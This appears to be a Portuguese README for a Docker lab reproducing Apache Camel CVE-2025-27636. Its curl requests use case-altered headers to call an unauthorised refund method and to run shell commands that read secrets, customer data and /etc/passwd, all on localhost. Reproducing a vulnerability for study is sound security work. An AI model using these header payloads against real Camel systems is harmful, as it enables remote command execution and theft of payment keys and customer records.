
Demonstra o CVE-2025-27636 do Apache Camel com reprodução baseada em Docker de ataques de injeção de cabeçalhos, incluindo injeção de método de bean e execução de comandos para pesquisa e educação em segurança.
Este projeto demonstra vulnerabilidades de segurança no Apache Camel relacionadas a ataques de injeção de cabeçalho.
Crie a imagem Docker:
docker build -t camel-cve-demo .
Execute o contêiner com todas as portas necessárias:
docker run -d `
--name camel-cve-demo `
-p 8080:8080 `
-p 8081:8081 `
-p 8484:8484 `
-v ${PWD}/logs:/app/logs `
-e JAVA_OPTS="-Xmx512m -Xms256m" `
camel-cve-demo
Explore o endpoint vulnerável injetando nomes de métodos:
# Ataque bem-sucedido - cabeçalho sensível a maiúsculas/minúsculas
curl.exe -X POST "http://localhost:8081/api/payment/callback" -H "cAmelBeanMethodName: processRefund" -d "order_id=ORD999&amount=9999.99"
# Alternativa - injeção por parâmetro de consulta
curl.exe "http://localhost:8081/api/payment/callback?cAmelBeanMethodName=processRefund" -X POST -d "order_id=ORD999&amount=9999.99"
Comparação (estes devem falhar):
# Maiúsculas/minúsculas incorretas - não deve funcionar
curl.exe -X POST "http://localhost:8081/api/payment/callback" -H "camelbeanmethodname: processRefund" -d "order_id=ORD999&amount=9999.99"
curl.exe -X POST "http://localhost:8081/api/payment/callback" -H "CamelBeanMethodName: processRefund" -d "order_id=ORD999&amount=9999.99"
Explore o componente exec para executar comandos arbitrários:
Reconhecimento:
# Verificar diretório atual
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: /bin/sh" -H "cAmelExecCommandArgs: -c pwd"
# Listar diretório de configuração
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: /bin/sh" -H "cAmelExecCommandArgs: -c ls -la /app/config/"
# Encontrar arquivos de configuração
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: /bin/sh" -H "cAmelExecCommandArgs: -c find / -name database.conf 2>/dev/null"
Exfiltração de Dados:
# Ler configuração do banco de dados
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs: /etc/app/config/database.conf"
# Ler segredos de pagamento
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs: /app/secrets/payment.key"
# Ler dados de clientes
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs:/var/data/customers/customers.csv"
# Ler logs de auditoria
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs:/var/log/audit/audit.log"
# Ler usuários do sistema
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs:/etc/passwd"
# Listar processos
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: ps" -H "cAmelExecCommandArgs:aux"
Verifique os logs de ataque dentro do contêiner:
# Visualizar tentativas de reembolso não autorizadas
docker exec camel-cve-demo cat /tmp/unauthorized_refund.txt